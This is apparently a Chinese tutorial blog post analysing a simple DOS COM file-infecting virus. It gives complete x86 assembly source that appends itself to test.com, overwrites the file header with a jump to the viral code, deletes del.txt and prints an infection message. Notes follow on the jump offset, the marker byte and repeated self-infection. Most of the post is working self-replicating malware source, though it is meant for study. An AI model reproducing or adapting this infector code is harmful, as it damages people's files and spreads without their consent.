简易com病毒分析

.model tiny
program segment

assume cs:program,ds:program,ss:program,es:program
org 0100h

main proc near
MOV DX,offset message
MOV AH,09h
INT 21h
MOV AH,4Ch ;调用DOS中断4C号功能(返回操作系统)
INT 21h
RET

message db 0dh,'This a simple com program for a test',0dh,0ah,'$'

program ends
END

代码virus.asm:
CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,SS:CSEG
main PROC NEAR
mainstart:
CALL vstart ;病毒的代码开始处
vstart:
POP SI ;得到当前地址 得到vstart的的绝对地址
MOV BP,SI ;保存当前地址
PUSH SI
MOV AH,9
ADD SI,OFFSET message-OFFSET vstart ;显示预设字符串 动态定位
MOV DX,SI
INT 21h
POP SI //恢复绝对地址
ADD SI,OFFSET yuan4byte-OFFSET vstart ;恢复原程序中的前四个字节
MOV DI,100h ;目的地址
MOV AX,DS:[SI] ;开始复制
MOV DS:[DI],AX
INC SI
INC SI
INC DI
INC DI
MOV AX,DS:[SI]
MOV DS:[DI],AX ;将yuan4byte处的4个字节复制到100处 第一次运行/第N次
////此处可以分支选择是否病毒发作。
MOV SI,BP ;恢复地址值
MOV DX,OFFSET delname-OFFSET vstart ;得到文件名
ADD DX,SI ; SI是什么? //删除del.txt文件
MOV AH,41h ;删除文件
INT 21h
MOV DX,OFFSET filename-OFFSET vstart ;得到文件名 //获得test.com的文件句柄
ADD DX,SI
MOV AL,02
MOV AH,3dh ;打开文件
INT 21h
JC error
MOV BX,AX ;文件句柄 //读取文件的前四个字节到yuan4byte中
MOV DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节保存到yuan4byte
ADD DX,SI ; SI是什么?
MOV CX,4 ; 处理4个字节
MOV AH,3fh ;读文件
INT 21h
MOV AX,4202h ;到文件尾
XOR CX,CX
XOR DX,DX
INT 21h
MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地址
ADD DI,2 ;为什么要+2 //将跳转的地址写到’M’,0e9h,(0,0)中,文件尾部-4
ADD DI,SI
SUB AX,4
MOV DS:[DI],AX
ADD SI,OFFSET mainstart-OFFSET vstart ;准备写入病毒 写入call
MOV DX,SI
MOV vsizes,OFFSET vends-OFFSET mainstart
MOV CX,vsizes
MOV AH,40h ;写文件
INT 21h
MOV SI,BP ;定位到文件头
MOV AL,0
XOR CX,CX
XOR DX,DX
MOV AH,42h
INT 21h
MOV AH,40h ;将新的文件头写入
MOV CX,4
MOV DX,OFFSET new4byte-OFFSET vstart
ADD DX,SI
INT 21h ;将new4byte处4个字节内容写入文件开始处,即将文件开头设置一条jmp指令,
;跳转到病毒开始处
MOV AH,3eh ;关闭文件
INT 21h
error:
MOV AX,100h //virus.exe返回到100h出再ret。Test.com返回原地址开始运行源代码
PUSH AX
RET
main ENDP
yuan4byte:
RET ; ??
DB 3 DUP (?)
vsizes DW 0
new4byte DB ‘M’,0e9h,0,0 ;??’M’
filename DB “test.com”,0
delname DB “del.txt”,0
message DB “You are infected by a simple com virus~~”
DB 0dh,0ah,”$”
vends:
start:
MOV AX,CSEG
MOV DS,AX
MOV SS,AX
CALL main
MOV AX,4c00h ;终止程序
INT 21h
CSEG ENDS
END start

流程图
简易com病毒分析_第1张图片

要点:

  1. yuan4byte:
    RET ;
    DB 3 DUP (?)
    yuan4byte的四个字节中Ret用于结束main函数返回到virus.exe的主进程中,若改为DB 4 DUP (?),virus.exe因为不是.com格式,所以在跳转到100H处是无法进行返回的,函数就会出错。

  2. new4byte DB ‘M’,0e9h,0,0 ; 中第一个字节为’M’。“M”本身并没有是没多大意义,防治被检测。是为了使”0e9h,0,0”成功机器解释为jump 0,0,防止代码混淆,若修改为0e9h,0,0,’M’,则需要将后面写入文件时的SUB AX,4,修改为SUB AX,3,因为jump偏移量 是跳转到尾部地址加上偏移量的,修改为0e9h,0,0,’M’,尾部地址减1,因此修改为SUB AX,3

  3. 若多次运行感染的test.com文件输出的感染语句会以2^n次出现,test.com文件会不停的感染自身,将自身复制在自身文件末尾。

你可能感兴趣的:(汇编)